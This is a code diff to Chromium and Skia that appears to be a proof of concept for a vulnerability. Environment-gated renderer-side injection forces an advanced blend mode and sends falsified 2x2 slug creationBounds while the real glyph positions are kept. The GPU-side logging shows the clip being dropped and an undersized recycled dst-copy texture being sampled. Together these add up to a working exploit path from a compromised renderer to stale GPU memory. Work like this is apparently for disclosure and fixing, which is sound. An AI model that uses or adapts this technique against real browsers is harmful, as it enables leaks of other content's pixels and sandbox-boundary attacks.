diff --git a/cc/paint/paint_op.cc b/cc/paint/paint_op.cc index 42c11f0973b97..ab809d4d801f8 100644 --- a/cc/paint/paint_op.cc +++ b/cc/paint/paint_op.cc @@ -5,8 +5,11 @@ #include "cc/paint/paint_op.h" +#include #include #include +#include +#include #include #include #include @@ -721,6 +724,24 @@ void DrawSlugOp::SerializeSlugs( PaintOpWriter& writer, const PaintFlags* flags_to_serialize, const SkM44& current_ctm) { + // ===== POC: RENDERER-SIDE INJECTION ===== + // A compromised renderer fully controls the PaintFlags sent with the + // DrawSlugOp. IsValidPaintFlagsSkBlendMode() (paint_op.h) accepts every + // SkBlendMode <= kLastMode, including all advanced blend modes. Force + // kDifference so the GPU-side AtlasTextOp requires a dst-read; on + // backends without HW advanced-blend AND without texture-barrier this + // takes the setupDstProxyView() copy path, sized by the (lied) op bounds. + PaintFlags poc_flags; + if (getenv("POC_SLUG_DESYNC")) { + poc_flags = *flags_to_serialize; + poc_flags.setBlendMode(SkBlendMode::kDifference); + flags_to_serialize = &poc_flags; + fprintf(stderr, + "[POC][RENDERER pid=%d][DrawSlugOp::SerializeSlugs] forcing " + "blendMode=kDifference on serialized DrawSlugOp\n", + (int)getpid()); + } + // ===== END POC ===== writer.Write(*flags_to_serialize, current_ctm); unsigned int count = extra_slugs.size() + 1; writer.Write(count); diff --git a/src/gpu/ganesh/SurfaceDrawContext.cpp b/src/gpu/ganesh/SurfaceDrawContext.cpp index dc08078843c..0f29bb2e4a6 100644 --- a/src/gpu/ganesh/SurfaceDrawContext.cpp +++ b/src/gpu/ganesh/SurfaceDrawContext.cpp @@ -6,6 +6,8 @@ */ #include "src/gpu/ganesh/SurfaceDrawContext.h" +#include +#include #include "include/core/SkAlphaType.h" #include "include/core/SkArc.h" #include "include/core/SkBlendMode.h" @@ -1972,6 +1974,17 @@ void SurfaceDrawContext::addDrawOp(const GrClip* clip, GrDstProxyView dstProxyView; if (analysis.requiresDstTexture()) { + // ===== POC: GPU-PROCESS OBSERVATION ===== + fprintf(stderr, + "[POC][GPU pid=%d][SurfaceDrawContext::addDrawOp] requiresDstTexture=true, " + "clip=%s, op->bounds()={%.1f,%.1f,%.1f,%.1f} (%dx%d) -> " + "setupDstProxyView will size dst-copy from THIS rect\n", + (int)getpid(), + clip ? "non-null" : "NULL(elided)", + drawOp->bounds().fLeft, drawOp->bounds().fTop, + drawOp->bounds().fRight, drawOp->bounds().fBottom, + (int)drawOp->bounds().width(), (int)drawOp->bounds().height()); + // ===== END POC ===== if (!this->setupDstProxyView(drawOp->bounds(), drawNeedsMSAA, &dstProxyView)) { return; } @@ -2049,6 +2062,12 @@ bool SurfaceDrawContext::setupDstProxyView(const SkRect& opBounds, } if (dstSampleFlags & GrDstSampleFlags::kRequiresTextureBarrier) { + // ===== POC: GPU-PROCESS OBSERVATION ===== + fprintf(stderr, + "[POC][GPU][setupDstProxyView] textureBarrierSupport()=true -> " + "sampling RT directly (dst-copy fallback NOT taken on this GPU; " + "vulnerable path requires !textureBarrierSupport())\n"); + // ===== END POC ===== // If we require a barrier to sample the dst it means we are sampling the RT itself // either as a texture or input attachment. In this case we don't need to break up the // OpsTask. @@ -2114,6 +2133,39 @@ bool SurfaceDrawContext::setupDstProxyView(const SkRect& opBounds, restrictions.fRectsMustMatch); SkASSERT(copy); + // ===== POC: GPU-PROCESS OBSERVATION ===== + // The dst-copy texture was sized from opBounds (the lied creationBounds). + // With SkBackingFit::kApprox the proxy is backed by a RECYCLED scratch + // texture from GrResourceCache (findAndRefScratchTexture) -- contents + // outside copyRect are stale pixels from a prior draw, never cleared. + // Glyph fragments at sk_FragCoord outside (dstOffset + copyRect) but + // inside (dstOffset + backingDims) sample those stale texels (the + // shader has NO clamp to copyRect; sampler is clamp-to-edge over the + // backing texture). + { + SkISize approx = skgpu::GetApproxSize( + {copyRect.width(), copyRect.height()}); + fprintf(stderr, + "[POC][GPU pid=%d][setupDstProxyView] *** UNDERSIZED kApprox " + "DST-COPY: copyRect={%d,%d,%d,%d} (%dx%d copied into ~%dx%d " + "recycled backing), dstOffset={%d,%d}, fit=%s, surface=%dx%d. " + "Fragments at sk_FragCoord in [%d..%d)x[%d..%d) sample STALE " + "uninitialized texels of the recycled scratch texture ***\n", + (int)getpid(), + copyRect.fLeft, copyRect.fTop, copyRect.fRight, copyRect.fBottom, + copyRect.width(), copyRect.height(), + approx.fWidth, approx.fHeight, + dstOffset.fX, dstOffset.fY, + fit == SkBackingFit::kApprox ? "kApprox(recycled)" : "kExact", + this->asSurfaceProxy()->backingStoreDimensions().fWidth, + this->asSurfaceProxy()->backingStoreDimensions().fHeight, + dstOffset.fX + copyRect.width(), + dstOffset.fX + approx.fWidth, + dstOffset.fY + copyRect.height(), + dstOffset.fY + approx.fHeight); + } + // ===== END POC ===== + dstProxyView->setProxyView({std::move(copy), this->origin(), this->readSwizzle()}); dstProxyView->setOffset(dstOffset); dstProxyView->setDstSampleFlags(dstSampleFlags); diff --git a/src/gpu/ganesh/gl/GrGLCaps.cpp b/src/gpu/ganesh/gl/GrGLCaps.cpp index 9b0c1c0b282..1bfa7509083 100644 --- a/src/gpu/ganesh/gl/GrGLCaps.cpp +++ b/src/gpu/ganesh/gl/GrGLCaps.cpp @@ -7,6 +7,8 @@ #include "src/gpu/ganesh/gl/GrGLCaps.h" +#include +#include #include "include/core/SkColor.h" #include "include/core/SkRect.h" #include "include/core/SkSize.h" @@ -893,6 +895,20 @@ void GrGLCaps::init(const GrContextOptions& contextOptions, this->finishInitialization(contextOptions); + // ===== POC: GPU-PROCESS OBSERVATION ===== + fprintf(stderr, + "[POC][GPU pid=%d][GrGLCaps] textureBarrierSupport=%d " + "advancedBlendEquationSupport=%d fbFetchSupport=%d " + "dstReadInShaderSupport=%d reuseScratchTextures=%d " + "(dst-copy fallback requires textureBarrier=0 && fbFetch=0)\n", + (int)getpid(), + (int)this->textureBarrierSupport(), + (int)this->advancedBlendEquationSupport(), + (int)shaderCaps->fFBFetchSupport, + (int)shaderCaps->fDstReadInShaderSupport, + (int)fReuseScratchTextures); + // ===== END POC ===== + // For GL, besides the user-specifiable override, we also want to avoid stencil buffers // in Protected mode (to avoid using RenderBuffers) fAvoidStencilBuffers = contextOptions.fAvoidStencilBuffers || fSupportsProtectedContent; diff --git a/src/gpu/ganesh/ops/AtlasTextOp.cpp b/src/gpu/ganesh/ops/AtlasTextOp.cpp index 26d10a4b35b..4745f306291 100644 --- a/src/gpu/ganesh/ops/AtlasTextOp.cpp +++ b/src/gpu/ganesh/ops/AtlasTextOp.cpp @@ -7,6 +7,8 @@ #include "src/gpu/ganesh/ops/AtlasTextOp.h" +#include +#include #include "include/core/SkRRect.h" #include "include/core/SkSamplingOptions.h" #include "include/core/SkSurfaceProps.h" @@ -222,6 +224,27 @@ std::tuple AtlasTextOp::Make(SurfaceDrawContext* sdc case kGeometryClipped: // GPU clip is not needed. clip = nullptr; + // ===== POC: GPU-PROCESS OBSERVATION ===== + // The GrClip was dropped because subRunDeviceBounds (derived + // SOLELY from the renderer-supplied fCreationBounds) was + // judged to lie inside the clip. Glyphs at leftTop[] + // positions OUTSIDE this rect will rasterize unclipped via + // fillDirectNoClipping(). + fprintf(stderr, + "[POC][GPU pid=%d][AtlasTextOp::Make] CLIP ELIDED " + "(clip=nullptr): subRunDeviceBounds={%.1f,%.1f,%.1f,%.1f} " + "(%dx%d), glyphCount=%d, geometricClipRect=%s, " + "blendMode=%d -> fillDirectNoClipping emits ALL glyphs\n", + (int)getpid(), + subRunDeviceBounds.fLeft, subRunDeviceBounds.fTop, + subRunDeviceBounds.fRight, subRunDeviceBounds.fBottom, + (int)subRunDeviceBounds.width(), + (int)subRunDeviceBounds.height(), + subrun->glyphCount(), + clipRect.isEmpty() ? "empty(noclip)" : "nonempty", + paint.asBlendMode().has_value() + ? (int)*paint.asBlendMode() : -1); + // ===== END POC ===== break; case kGPUClipped: // Use the GPU clip; clipRect is ignored. diff --git a/src/text/gpu/VertexFiller.cpp b/src/text/gpu/VertexFiller.cpp index f9cd3f87da7..9fc99a435a9 100644 --- a/src/text/gpu/VertexFiller.cpp +++ b/src/text/gpu/VertexFiller.cpp @@ -19,6 +19,9 @@ #include "src/text/gpu/SubRunContainer.h" #include +#include +#include +#include using MaskFormat = skgpu::MaskFormat; @@ -65,6 +68,33 @@ std::optional VertexFiller::MakeFromBuffer(SkReadBuffer &buffer, SkSpan leftTop = MakePointsFromBuffer(buffer, alloc); if (leftTop.empty()) { return std::nullopt; } + // ===== POC: GPU-PROCESS OBSERVATION ===== + // This runs in the GPU process (RasterDecoderImpl -> Slug::Deserialize). + // Compute the actual extent of glyph positions and compare to the + // renderer-supplied creationBounds. A compromised renderer can desync + // these with no validation -- this proves the malicious payload was + // accepted across the IPC boundary. + { + SkRect actual = SkRect::MakeEmpty(); + for (const SkPoint& p : leftTop) { + actual.join(SkRect::MakeXYWH(p.fX, p.fY, 1, 1)); + } + if (!creationBounds.contains(actual)) { + fprintf(stderr, + "[POC][GPU pid=%d][VertexFiller::MakeFromBuffer] DESYNC ACCEPTED: " + "creationBounds={%.1f,%.1f,%.1f,%.1f} (%dx%d) but glyph leftTop " + "extent={%.1f,%.1f,%.1f,%.1f} (%d glyphs) -- glyphs lie OUTSIDE " + "declared bounds, no validation performed\n", + (int)getpid(), + creationBounds.fLeft, creationBounds.fTop, + creationBounds.fRight, creationBounds.fBottom, + (int)creationBounds.width(), (int)creationBounds.height(), + actual.fLeft, actual.fTop, actual.fRight, actual.fBottom, + (int)leftTop.size()); + } + } + // ===== END POC ===== + SkASSERT(buffer.isValid()); return VertexFiller{maskType, creationMatrix, creationBounds, leftTop, canDrawDirect}; } @@ -73,7 +103,29 @@ void VertexFiller::flatten(SkWriteBuffer &buffer) const { buffer.writeInt(static_cast(fMaskFormat)); buffer.writeBool(fCanDrawDirect); buffer.writeMatrix(fCreationMatrix); - buffer.writeRect(fCreationBounds); + // ===== POC: RENDERER-SIDE INJECTION ===== + // Called from PaintOpWriter::Write(slug) in the *renderer* process + // during OOP-raster serialization. A compromised renderer controls + // every byte of the serialized Slug; here we lie about creationBounds + // -- shrinking it to a 2x2 rect anchored at the first glyph -- while + // sending the real per-glyph leftTop[] positions unchanged. The GPU + // process performs no consistency check between the two. + if (getenv("POC_SLUG_DESYNC") && fLeftTop.size() > 1) { + SkRect lie = SkRect::MakeXYWH(fLeftTop[0].fX, fLeftTop[0].fY, 2, 2); + fprintf(stderr, + "[POC][RENDERER pid=%d][VertexFiller::flatten] injecting lied " + "creationBounds={%.1f,%.1f,%.1f,%.1f} (real bounds were " + "{%.1f,%.1f,%.1f,%.1f}), %d glyphs\n", + (int)getpid(), + lie.fLeft, lie.fTop, lie.fRight, lie.fBottom, + fCreationBounds.fLeft, fCreationBounds.fTop, + fCreationBounds.fRight, fCreationBounds.fBottom, + (int)fLeftTop.size()); + buffer.writeRect(lie); + } else { + buffer.writeRect(fCreationBounds); + } + // ===== END POC ===== buffer.writePointArray(fLeftTop); }